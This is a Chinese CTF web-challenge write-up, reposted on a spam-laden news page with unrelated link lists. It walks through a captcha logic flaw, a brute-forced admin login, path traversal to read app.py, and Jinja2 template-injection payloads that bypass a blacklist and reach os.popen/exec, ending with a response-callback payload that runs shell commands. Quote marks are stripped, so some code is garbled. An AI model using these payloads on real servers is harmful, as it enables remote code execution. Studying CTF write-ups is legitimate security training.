当前位置: 首页 > news >正文

环保网站设计是什么国外云服务器哪个好

环保网站设计是什么,国外云服务器哪个好,部队网站建设招标,创建网页步骤step1 验证码处存在逻辑漏洞,只要不申请刷新验证码就一直有效 字典爆破得到 admin:123456 step2 /info?file../../../proc/self/cmdline获得 python/app/app.py经尝试,读取存在的目录时会返回 A server error occurred. Please contact the administrator./info?file.…step1 验证码处存在逻辑漏洞,只要不申请刷新验证码就一直有效 字典爆破得到 admin:123456 step2 /info?file../../../proc/self/cmdline获得 python/app/app.py经尝试,读取存在的目录时会返回 A server error occurred. Please contact the administrator./info?file../../../root/python尝试读取 /info?file../../../root/python/app/app.py失败 /info?file../../app.py成功 import jinja2 # 导入jinja2模板引擎 from pyramid.config import Configurator # 从pyramid框架导入Configurator用于配置应用 from pyramid.httpexceptions import HTTPFound # 用于HTTP重定向 from pyramid.response import Response # 用于生成HTTP响应 from pyramid.session import SignedCookieSessionFactory # 用于管理会话的签名Cookie会话工厂 from wsgiref.simple_server import make_server # 从wsgiref库导入简单服务器 from Captcha import captcha_image_view, captcha_store # 导入验证码视图和存储模块 import re # 正则表达式模块 import os # 操作系统模块class User:def __init__(self, username, password):self.username usernameself.password password# 用户信息存储默认存储一个admin用户 users {admin: User(admin, 123456)}def root_view(request):# 重定向到 /loginreturn HTTPFound(location/login)def info_view(request):# 查看细节内容if request.session.get(username) ! admin:return Response(请先登录, status403) # 检查用户是否登录file_name request.params.get(file)file_base, file_extension os.path.splitext(file_name)if file_name:file_path os.path.join(/app/static/details/, file_name)try:with open(file_path, r, encodingutf-8) as f:content f.read() # 读取文件内容print(content)except FileNotFoundError:content 文件未找到。 # 文件未找到处理else:content 未提供文件名。 # 未提供文件名处理return {file_name: file_name, content: content, file_base: file_base}def home_view(request):# 主路由if request.session.get(username) ! admin:return Response(请先登录, status403) # 检查用户是否登录detailtxt os.listdir(/app/static/details/)picture_list [i[:i.index(.)] for i in detailtxt]file_contents for picture in picture_list:with open(f/app/static/details/{picture}.txt, r, encodingutf-8) as f:file_contents[picture] f.read(80) # 读取文件内容的前80个字符return {picture_list: picture_list, file_contents: file_contents}def login_view(request):if request.method POST:username request.POST.get(username)password request.POST.get(password)user_captcha request.POST.get(captcha, ).upper()if user_captcha ! captcha_store.get(captcha_text, ):return Response(验证码错误请重试。) # 验证码错误处理user users.get(username)if user and user.password password:request.session[username] usernamereturn Response(登录成功a href/home点击进入主页/a) # 登录成功处理else:return Response(用户名或密码错误。) # 用户名或密码错误处理returndef shell_view(request):if request.session.get(username) ! admin:return Response(请先登录, status403) # 检查用户是否登录expression request.GET.get(shellcmd, )blacklist_patterns [r.*length.*, r.*count.*, r.*[0-9].*, r.*\..*, r.*soft.*, r.*%.*]if any(re.search(pattern, expression) for pattern in blacklist_patterns):return Response(wafwafwaf) # 检查表达式是否包含黑名单中的模式try:result jinja2.Environment(loaderjinja2.BaseLoader()).from_string(expression).render({request: request})if result ! None:return Response(success) # 成功执行表达式else:return Response(error) # 处理错误except Exception as e:return Response(error) # 处理异常def main():session_factory SignedCookieSessionFactory(secret_key)with Configurator(session_factorysession_factory) as config:config.include(pyramid_chameleon) # 添加渲染模板config.add_static_view(namestatic, path/app/static)config.set_default_permission(view) # 设置默认权限为view# 注册路由config.add_route(root, /)config.add_route(captcha, /captcha)config.add_route(home, /home)config.add_route(info, /info)config.add_route(login, /login)config.add_route(shell, /shell)# 注册视图config.add_view(root_view, route_nameroot)config.add_view(captcha_image_view, route_namecaptcha)config.add_view(home_view, route_namehome, rendererhome.pt, permissionview)config.add_view(info_view, route_nameinfo, rendererdetails.pt, permissionview)config.add_view(login_view, route_namelogin, rendererlogin.pt)config.add_view(shell_view, route_nameshell, rendererstring, permissionview)config.scan()app config.make_wsgi_app()return appif __name__ __main__:app main()server make_server(0.0.0.0, 6543, app)server.serve_forever() # 启动服务器step 3 模板注入 from pyramid.config import Configurator from pyramid.response import Response from pyramid.view import view_config from wsgiref.simple_server import make_server view_config(route_namehome) def my_view(request): # 获取查询参数 name request.GET.get(name, 1) # 默认值 1 age request.GET.get(age, 2) # 默认值 2 # 返回响应 return Response(fHello, {name}! You are {age} years old.) if __name__ __main__: with Configurator() as config: config.add_route(home, /) config.scan() app config.make_wsgi_app() server make_server(0.0.0.0, 6543, app) print(Serving on http://localhost:6543) server.serve_forever()/shell?shellcmd{{lipsum[__globals__][os][popen](request[GET][get](input))[read]()}}inputsleep(100)不报错但是不成功 /shell?shellcmd{{cycler[__init__][__globals__][os][popen](request[GET][get](input))[read]()}}inputsleep(100)依然不报错不成成功 用法钩子改返回 from flask import current_app, after_this_request after_this_request def hook(*args, **kwargs):from flask import make_responser make_response(Powned)return r/shell?shellcmd{{cycler[__init__][__globals__][__builtins__][exec](request[GET][get](input))}}input1这个不行 /shell?shellcmd{{cycler[__init__][__globals__][__builtins__][exec](after_this_request%0Adef%20hook(*args,%20**kwargs):%0A%20%20%20%20from%20flask%20import%20make_response%0A%20%20%20%20r%20%20make_response(Powned)%0A%20%20%20%20return%20r)}}这个行了 /shell?shellcmd{{cycler[%27__init__%27][%27__globals__%27][%27__builtins__%27][%27exec%27](request[%27GET%27][%27get%27](%27input%27))}}inputfrom%20time%20import%20sleep%0D%0Asleep(10)后面的是看wp之后写的 from pyramid.response import Response # 用于生成HTTP响应针对flask 的 make_response 无效 百度pyramid.response hook ## [Using **Hooks** — The **Pyramid** Web Framework v2.0.2 - Pylons …](https://docs.pylonsproject.org/projects/pyramid/en/latest/narr/hooks.html)2023年8月25日 · By default, an instance of the pyramid.response.Response class is created to represent the response object. The factory that Pyramid uses to create a response object …虽然能直接抄wp,但是可以研究一下,这里看到一个 使用 Hook — Pyramid Web 应用程序开发框架 v1.4.9 ## 更改 Not Found 视图[¶](https://docs.pylonsproject.org/projects/pyramid/en/latest/narr/hooks.html#changing-the-not-found-view Link to this heading)当 Pyramid 无法映射 URL 以查看代码时它会调用 [Not Found View](https://docs.pylonsproject.org/projects/pyramid/en/latest/glossary.html#term-Not-Found-View)这是一个[可调用的视图](https://docs.pylonsproject.org/projects/pyramid/en/latest/glossary.html#term-view-callable)。默认的 Not Found View 可以是 通过应用程序配置覆盖。from pyramid.view import notfound_view_confignotfound_view_config() def notfound(request):return Response(Not Found, dude, status404 Not Found)/shell?shellcmd{{cycler[%27__init__%27][%27__globals__%27][%27__builtins__%27][%27exec%27](request[%27GET%27][%27get%27](%27input%27))}}inputfrom%20pyramid.view%20import%20notfound_view_config%0A%0Anotfound_view_config()%0Adef%20notfound(request):%0A%20%20%20%20return%20Response(%27Not%20Found,%20dude%27,%20status%27404 Not Found%27)没用,应该是生命周期不够 def cache_callback(request, response):Set the cache_control max_age for the responseif request.exception is not None:response.cache_control.max_age 360 request.add_response_callback(cache_callback){{cycler[__init__][__globals__][__builtins__][exec](getattr(request,add_response_callback)(lambda request,response:setattr(response, text, getattr(getattr(__import__(os),popen)(ls),read)())),{request: request})}}exec() 函数 exec() 函数是 Python 的内置函数它用于动态执行 Python 代码。你可以将一段 Python 代码字符串形式传给 exec()然后它会执行这段代码。exec() 的基本语法如下 exec(code, globals, locals)code要执行的代码字符串形式。globals 和 locals可选可以传入字典来指定全局和局部的命名空间这样可以控制代码执行时的作用域。 globals x 10 y 20def my_function():print(globals()) # 打印当前的全局命名空间my_function() # {__name__: __main__, __doc__: None, __package__: None, __loader__: _frozen_importlib_external.SourceFileLoader object at 0x0000024FAFBF5490, __spec__: None, __annotations__: {}, __builtins__: module builtins (built-in), __file__: G:\\ProgramData\\projects\\pycharm\\web_server\\app.py, __cached__: None, x: 10, y: 20, my_function: function my_function at 0x0000024FAFD674C0}{request: request}将 request 变量传递给代码中的作用域 exec(print(globals()),print(fa-{a}), {a: this is globals}){a: this is globals, __builtins__: {__name__: builtins, __doc__: Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all built-in\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThis module is not normally accessed explicitly by most\napplications, but can be useful in modules that provide\nobjects with the same name as a built-in value, but in\nwhich the built-in of that name is also needed., __package__: , __loader__: class _frozen_importlib.BuiltinImporter, __spec__: ModuleSpec(namebuiltins, loaderclass _frozen_importlib.BuiltinImporter, originbuilt-in), __build_class__: built-in function __build_class__, __import__: built-in function __import__, abs: built-in function abs, all: built-in function all, any: built-in function any, ascii: built-in function ascii, bin: built-in function bin, breakpoint: built-in function breakpoint, callable: built-in function callable, chr: built-in function chr, compile: built-in function compile, delattr: built-in function delattr, dir: built-in function dir, divmod: built-in function divmod, eval: built-in function eval, exec: built-in function exec, format: built-in function format, getattr: built-in function getattr, globals: built-in function globals, hasattr: built-in function hasattr, hash: built-in function hash, hex: built-in function hex, id: built-in function id, input: built-in function input, isinstance: built-in function isinstance, issubclass: built-in function issubclass, iter: built-in function iter, aiter: built-in function aiter, len: built-in function len, locals: built-in function locals, max: built-in function max, min: built-in function min, next: built-in function next, anext: built-in function anext, oct: built-in function oct, ord: built-in function ord, pow: built-in function pow, print: built-in function print, repr: built-in function repr, round: built-in function round, setattr: built-in function setattr, sorted: built-in function sorted, sum: built-in function sum, vars: built-in function vars, None: None, Ellipsis: Ellipsis, NotImplemented: NotImplemented, False: False, True: True, bool: class bool, memoryview: class memoryview, bytearray: class bytearray, bytes: class bytes, classmethod: class classmethod, complex: class complex, dict: class dict, enumerate: class enumerate, filter: class filter, float: class float, frozenset: class frozenset, property: class property, int: class int, list: class list, map: class map, object: class object, range: class range, reversed: class reversed, set: class set, slice: class slice, staticmethod: class staticmethod, str: class str, super: class super, tuple: class tuple, type: class type, zip: class zip, __debug__: True, BaseException: class BaseException, BaseExceptionGroup: class BaseExceptionGroup, Exception: class Exception, GeneratorExit: class GeneratorExit, KeyboardInterrupt: class KeyboardInterrupt, SystemExit: class SystemExit, ArithmeticError: class ArithmeticError, AssertionError: class AssertionError, AttributeError: class AttributeError, BufferError: class BufferError, EOFError: class EOFError, ImportError: class ImportError, LookupError: class LookupError, MemoryError: class MemoryError, NameError: class NameError, OSError: class OSError, ReferenceError: class ReferenceError, RuntimeError: class RuntimeError, StopAsyncIteration: class StopAsyncIteration, StopIteration: class StopIteration, SyntaxError: class SyntaxError, SystemError: class SystemError, TypeError: class TypeError, ValueError: class ValueError, Warning: class Warning, FloatingPointError: class FloatingPointError, OverflowError: class OverflowError, ZeroDivisionError: class ZeroDivisionError, BytesWarning: class BytesWarning, DeprecationWarning: class DeprecationWarning, EncodingWarning: class EncodingWarning, FutureWarning: class FutureWarning, ImportWarning: class ImportWarning, PendingDeprecationWarning: class PendingDeprecationWarning, ResourceWarning: class ResourceWarning, RuntimeWarning: class RuntimeWarning, SyntaxWarning: class SyntaxWarning, UnicodeWarning: class UnicodeWarning, UserWarning: class UserWarning, BlockingIOError: class BlockingIOError, ChildProcessError: class ChildProcessError, ConnectionError: class ConnectionError, FileExistsError: class FileExistsError, FileNotFoundError: class FileNotFoundError, InterruptedError: class InterruptedError, IsADirectoryError: class IsADirectoryError, NotADirectoryError: class NotADirectoryError, PermissionError: class PermissionError, ProcessLookupError: class ProcessLookupError, TimeoutError: class TimeoutError, IndentationError: class IndentationError, IndexError: class IndexError, KeyError: class KeyError, ModuleNotFoundError: class ModuleNotFoundError, NotImplementedError: class NotImplementedError, RecursionError: class RecursionError, UnboundLocalError: class UnboundLocalError, UnicodeError: class UnicodeError, BrokenPipeError: class BrokenPipeError, ConnectionAbortedError: class ConnectionAbortedError, ConnectionRefusedError: class ConnectionRefusedError, ConnectionResetError: class ConnectionResetError, TabError: class TabError, UnicodeDecodeError: class UnicodeDecodeError, UnicodeEncodeError: class UnicodeEncodeError, UnicodeTranslateError: class UnicodeTranslateError, ExceptionGroup: class ExceptionGroup, EnvironmentError: class OSError, IOError: class OSError, WindowsError: class OSError, open: built-in function open, quit: Use quit() or Ctrl-Z plus Return to exit, exit: Use exit() or Ctrl-Z plus Return to exit, copyright: Copyright (c) 2001-2023 Python Software Foundation. All Rights Reserved.Copyright (c) 2000 BeOpen.com. All Rights Reserved.Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved.Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., credits: Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousandsfor supporting Python development. See www.python.org for more information., license: Type license() to see the full license text, help: Type help() for interactive help, or help(object) for help about object.}} a-this is globals
http://www.hkea.cn/news/14505435/

相关文章:

  • wordpress网站背景设置深圳百度总部
  • 公司招商型网站建设ppt模板下载免费完整版简约
  • 开网站流程网站开发需要什么工程师
  • 厦门市住宅建设办公室网站etc推广代理平台
  • 顺德网站制作案例市场产品网站开发流程图
  • 企业宣传网站建设说明书深圳医疗网站建设
  • 遵义网站建设中心章丘网站开发
  • 秦皇岛建设局官方网站网站推广论坛
  • 网站建设相关博客西安网络公司
  • 网站开发工程师需要会写什么区别河源网站建设公司
  • 虹桥街道网站建设展示用网站模板免费下载
  • 哪些网站专门做细胞的近一周热点新闻
  • 建网站需要软件怎样创建app
  • 南通做网站优化的公司美容美发网站建设方案
  • 如何优化网站首页代码logo设计公司艺点意创怎么样
  • 怎样做网站别人能访问河南怎么建设网站
  • 怎么用ppt做网站设计精准营销案例分析
  • 哪里有网站建站公司个人如何做网络营销
  • 怎么做虚拟币网站哈尔滨市建设工程质量安全站
  • 付费网站模板工商局注册公司网站
  • 网站注册可以免费吗怎样申请免费网站
  • 0基础做网站工具wordpress 建两个网站
  • 中和阗盛工程建设有限公司网站微信h5
  • 在凡科网申请的网站设置网页访问密码做设计的平台
  • 用手机域名做网站厦门网站流量优化价格
  • 免费网站设计南山龙岗最新通告
  • 深圳做网站比较好的公司受欢迎的合肥网站建设
  • 大连网站建设哪个好海南seo关键词
  • 网站建设企业类型是什么意思建设部网站注册规划师查询
  • 网站建设功能点价格龙华做企业网站